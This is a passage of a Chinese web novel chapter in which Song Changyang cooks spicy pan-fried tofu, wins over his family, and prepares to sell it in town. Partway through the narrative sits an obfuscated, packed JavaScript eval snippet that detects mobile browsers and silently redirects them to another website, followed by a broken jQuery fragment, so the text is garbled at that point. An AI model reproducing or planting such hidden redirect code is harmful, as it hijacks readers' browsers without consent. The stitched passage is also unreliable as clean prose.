宋小玉眼睛一亮,“二哥,你从哪来的铜板!”
躺在藤椅上晒太阳的宋有粮白眼恨不得翻天上,还能从哪来的,从他手里抠出来!老子就是欠他的!
宋小玉拿了铜板就跑去买豆腐去了,这会儿天也不早了,他怕去晚了没豆腐了,拿上个碗一溜烟没了踪影。
宋小玉很是高兴,他二哥好像和以前不大一样了,真是他爷爷显灵不成,他爷爷还不如告诉他们哪个地埋了金银财宝呢。
不过也不错了,二哥现在经常做饭,他终于不用吃他娘做得饭了。
宋小玉跑着买豆腐去了,村子里柳家是做豆腐的,若是去晚了就没豆腐了,宋小玉跑到柳家门口的时候,迎面走过端着碗的夏小满,他的碗里装了块白生生的豆腐。
夏小满看见宋小玉,有些不好意思地朝他笑了一下,然后快步走开了,他二婶今儿想吃豆腐了,给了他两个铜板过来买豆腐,他也喜欢吃豆腐,给他留点汤汁沾窝头也是好的。
宋小玉眨了下眼睛,刚夏小满朝他笑了下,宋小玉嘟囔了一句,“真奇怪,夏小满竟然还和我打招呼哩。”
宋小玉常和村子里的小哥儿女娘一道玩,但没和夏小满玩过,夏小满不爱和他们玩,老是低着个头,没见过胆子这么小的哥儿。
宋小玉急着买豆腐呢,不在想夏小满了,拿着碗跑进了院子里,咋咋呼呼喊了起来,“柳哥儿!还有豆腐没!”
等宋小玉端着豆腐回家的时候,宋长扬已经在灶房忙活了,他想明天去镇上卖铁板豆腐,他现在没有本钱去打铁板,那就用家里的小铁锅一样的。
做铁板豆腐重要的是料汁,家里有几个酱坛子,他娘苗翠花每年都会下一些豆酱或者辣椒酱,他娘虽然做饭手艺不大好,这做酱的手艺倒是不差。
宋长扬已经熬好了酱料,就连撒料都已经都弄好了,虽然还差点味道,但他现在没铜板买那些昂贵的香料,等做个几日攒上些铜板再把料给改良一下。
宋小玉还没走到门口呢就闻见了扑鼻的香味儿,他吸了吸鼻子,“隔壁今儿又做什么好吃的呢。”
宋小玉端着碗一走到灶房香味儿更浓郁了,“二哥,你弄啥好吃的呢!给我吃一口!”
宋长扬接过了豆腐,“不是说了要做煎豆腐。”
只见案子上放着一碗油汪汪的调料还有一碗辣椒粉,宋小玉闻着嘴馋,“二哥,你咋放这么多油啊,咱娘看见又要数落你了。”
“没事,用完了在给咱娘的油罐装满就是了。”
他娘苗翠花除了吃饭就不常在家,拎着她的针线篮子四处跑,她做媒婆活计的,没有比她消息更灵通的了。
宋长扬把嫩豆腐给切成薄片,小铁锅里放油煎到两面金黄,刷上酱料,最后再撒上调配好的辣椒粉和野葱,香得宋小玉守着锅台都不愿意走的。
宋小玉是个嘴甜的,在旁边不停地夸,一口一个二哥,宋长扬也吃这套,任谁被一个年岁不大的小孩叫二哥也都会心软。
宋长扬把煎得头一锅豆腐夹了几块给宋小玉,宋小玉这才端着碗出来了,急得也不拿筷子,下手就捏起碗里的豆腐,烫得他嘶嘶哈哈都舍不得松手。
宋有粮也早就闻见香味儿了,他早就伸着头往灶房看了,就是拉不下脸面过去瞧瞧。
见宋小玉都已经吃进嘴里了,宋有粮故意拍打了下藤椅,“没看见你爹还在这嘛。”
宋小玉舍不得把他的豆腐让给他老爹,“你找二哥要去,这是我的。”
这豆腐可真好吃,他从来没吃过这么香的豆腐,外面焦香,里面软嫩,他二哥也不知道都往里面放了啥,真的太好吃了!
宋长扬在屋里也尝着豆腐,还成,也就能打个六七分,味道上还是差了些,他的辣椒粉里还少了孜然花椒这些,里面只放了花生碎熟芝麻这些,还差上一些味,等他挣到铜板了再改良也不迟。
宋长扬出来问宋小玉,“味道怎么样?”
宋小玉不住地点头,他吃得两根手指上都是红油,嘴角上还沾着芝麻粒,“好吃好吃,二哥,我从来没吃过这么好吃的豆腐!”
算了,原本想问下宋小玉提提意见呢,玉哥儿是个贪吃的,这豆腐用油煎的,下料又重,哪能不好吃的。
宋有粮也蹭到了灶台旁,手上也捏着豆腐吃了起来,好吃!
宋长扬把剩下的豆腐也放到锅里煎,“爹,明儿一早起来别忘了去地里转转。”
虽然地里的草已经薅过一遍了,但春风吹又生,地里的草得薅勤快一些。
一听宋长扬让他下地,宋有粮不乐意了,“不去,不是刚薅过,把你老子当驴使了不成。”
宋长扬夺过他的碗,“你昨天还吃过饭了呢,想吃我的东西就下地去,要不然别吃。”
宋有粮给夺了过来,“不孝子,不孝子!”
为了口吃的,宋有粮只得妥协了,想着去刚薅过草,他去地里转转就成了。
等苗翠花拎着她的针线篮子扭着腰回来的时候,宋长扬已经做好了晚饭,一碗铁板豆腐,哦,暂时还不能叫铁板豆腐,充其量叫铁锅豆腐,宋长扬干脆叫它香煎豆腐。
饭桌上放着一碗香煎豆腐,一碗醋汁野菜,还有几个热好的窝窝头,宋长扬做饭的手艺挺好的,同样是窝窝头,他做出来就是比苗翠花做得暄软上不少。
苗翠花一回来就看见那碗煎豆腐,“老天奶的,竟然用油煎豆腐,什么家能这么吃呀,真的是不当家不知道柴米油盐贵啊。”
宋小玉在一旁帮腔,“娘,你快尝尝,二哥说要出去做个小生意,你尝尝好吃不好吃。”
听说宋长扬打算做个小生意呢,苗翠花这才不数落他了,她这二儿子是个浪荡不着调的,许是因为终于长大了,终于知道要养家糊口了。
她这个当娘的不好打击老二的积极性,她对宋长扬最大的要求就是不去外面惹祸就成了,这会儿竟然想做小生意呢,可不是好事,有个事做了就不出去给她惹事了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438267|184996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苗翠花也不心疼她的油了,拿起筷子夹起来一块,还有些烫嘴呢,一口下去满嘴留香,苗翠花也是吃过好的,忍不住点头,“味道真不错,二郎,你这豆腐打算怎么卖呀?”
“一文钱两块。”
苗翠花不住点头,“倒也不算贵,放了那么多油呢。”
宋长扬刚切豆腐的时候已经数好了,一块豆腐能切上十六块,一份两块豆腐,就是八份,不算用家里的东西,那他能挣上六文,是门不错的生意,就是不知道明天卖得怎么样。
碗里的豆腐很快被抢了个干净,宋小玉吃完饭抹了嘴就想跑,宋长扬看了过去,宋小玉噘着嘴把碗筷给收拾了。
苗翠花也挺高兴的,她忙着做她的活计呢,回来还要做饭洗碗,现在饭不用她做了,碗也不用她洗了,苗翠花乐得清闲。
趁着这会儿还能看清东西,宋长扬找了竹子劈竹签,要不然他的铁板豆腐总不能让人用手拿着吧,等到日后好起来了在考虑用油纸托着。
村里人吃了晚饭歇上一会儿就早早睡觉去了,嫌点油灯费油,等看不清东西的时候,宋长扬也把他的竹签给劈好了,洗漱一番也回屋躺着去了。
第二天一早天刚亮就起来去柳家买了豆腐,柳家起得更早,这会儿豆腐都做出来几板了,看见宋长扬来了很是惊讶,要知道宋家是出了名的懒,宋家二郎竟然这么早就来买豆腐了。
柳家夫妻热情地给宋长扬拿豆腐,宋长扬现在手上有十八个铜板,要了九块嫩豆腐,柳婶劝道:“二郎,怎滴买这么多豆腐,吃不完可就不新鲜了。”
“柳婶没事的,我拿去镇上卖的。”宋长扬解释了一句。
柳婶这才不劝了,原来是要去外面卖的呀,只要不浪费就成,柳婶热情地给宋长扬装好了豆腐,又送了他一碗豆花。
宋长扬道了谢给接了过来,刚好当早饭吃。
柳家两口子后半夜就起来磨豆腐了,等天亮了柳大叔还是挑上些豆腐去镇上转着卖,虽然日子过得辛苦,但也能攒下些银钱,家里只有一个小哥儿,村里人都唤他柳哥儿。
宋长扬回来的时候,正房的门还没开呢,宋家一共就两间住人的茅草房,一间灶房还有后院的棚子,宋长扬自己睡东屋,正房是堂屋和两间耳房,宋有粮两口子一间,宋小玉自己一间。
等宋长扬把豆腐切好,正房依旧没开门,昨天他爹可是答应他要下地干活的,宋长扬不客气地拍响了门环,“爹,爹!起来做活了!”
宋有粮被吵得把头缩到了被子里,苗翠花也被吵醒了,烦得不行,一脚就把宋有粮给踹了下去,“滚下去!”
宋有粮被摔得眼冒金星,他啥时候起这么早过啊,这屋里还昏黄一片呢,显然日头还没升起来呢!
宋有粮困得睁不开眼,外面宋长扬还在不停敲门,铁门环拍在门板上格外的响。
宋有粮还想爬上床接着睡呢,被苗翠花又一脚给踹了下去,“开门,出去!休要扰了老娘睡觉!”